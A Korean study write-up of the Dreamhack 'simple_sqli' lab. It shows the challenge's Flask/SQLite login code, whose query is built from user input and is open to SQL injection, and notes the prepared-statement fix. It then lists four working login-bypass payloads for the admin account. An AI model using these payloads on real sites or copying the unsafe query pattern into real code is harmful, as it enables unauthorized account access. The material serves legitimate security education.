[Dreamhack] STAGE6. SQL Injection (3) : Exercise
Web Hacking [함께실습] simple_sqli
웹 서비스 분석
데이터베이스 구조
#데이터 베이스 파일명을 database.db로 설정
DATABASE = "database.db"
# 파일이 존재하지 않는 경우
if os.path.exists(DATABASE) == False:
# 파일 생성 및 연결
db = sqlite3.connect(DATABASE)
# users 테이블 생성
db.execute('create table users(userid char(100), userpassword char(100));')
# 관리자와 guest 계정 생성 (데이터 입력)
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit() # 쿼리 실행 확정
db.close() # db 연결 종료
위의 코드로 생성된 데이터 베이스의 구조
이 때 guest 계정의 비밀번호는 이요앚가 알 수 있지만, admin 게정은 랜덤하게 생성됨 16바이트의 문자열이기에, 비밀번호를 예상할 수 없다
userid | userpassword |
---|---|
guest | guest |
admin | 랜덤 16바이트 문자열을 Hex 형태로 표현 (32비트) |
엔드포인트 : /login
# Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함
@app.route('/login', methods=['GET', 'POST'])
def login(): # login 함수 선언
if request.method == 'GET':
# 이용자가 GET 메소드의 요청을 전달한 경우, 이용자에게 ID/PW를 요청받는 화면을 출력
return render_template('login.html')
else: # POST 요청을 전달한 경우
# 이용자의 입력값인 userid를 받은 뒤, 이용자의 입력값인 userpassword를 받고
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res: # 쿼리 결과가 존재하는 경우
userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우
return f'hello {userid} flag is {FLAG}' # flag를 출력
# 관리자 계정이 아닌 경우, 웰컴 메시지만 출력
return f'<script>alert("hello {userid}");history.go(-1);</script>'
# 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력
return '<script>alert("wrong");history.go(-1);</script>'
취약점 분석 & 익스플로잇 (Exploit : 취약점 공격)
관리자 계정의 비밀번호를 알아내고 올바른 경로로 로그인
위의 login 함수에서 userid와 userpassword를 받은 후, query_db 함수를 사용하여 SQLite에게 질의한다. 이처럼 동적으로 생성한 쿼리를 RawQuery라고 한다. RawQuery를 생성할 때, 이용자의 입력값이 쿼리문에 포함된다면 SQL Injection에 노출된다. 이용자의 입력값을 검사하는 과정이 없기에, 임의의 쿼리문을 userid, userpassword에 삽입하여 공격할 수 있는 것이다. SQL 데이터를 사용할 때 쿼리문을 직접 생성하는 방식이 아닌, Prepared Statement와 ORM(Object Relational Mapping)을 사용하여 해결할 수 있다. Prepared Statement는 동적 쿼리가 전달되면 내부적인 쿼리 분석을 통해 안전한 쿼리문을 생성한다
def query_db(query, one=True): # query_db 함수 선언
cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
rv = cur.fetchall() # 쿼리문 내용을 받아오기
cur.close() # 데이터베이스 연결 종료
# 쿼리문 질의 내용에 대한 결과를 반환
return (rv[0] if rv else None) if one else rv
로그인 쿼리
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
SQL Injection 공격 쿼리문 작성
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
관리자 계정의 비밀번호를 모른 채 로그인을 우회
- 개발자도구의 네트워크 탭 -> Preserve log
- userid, password에 guest를 입력하고 login 버튼 클릭
- /login으로 전송된 POST요청 찾기
- 하단의 Form Data 확인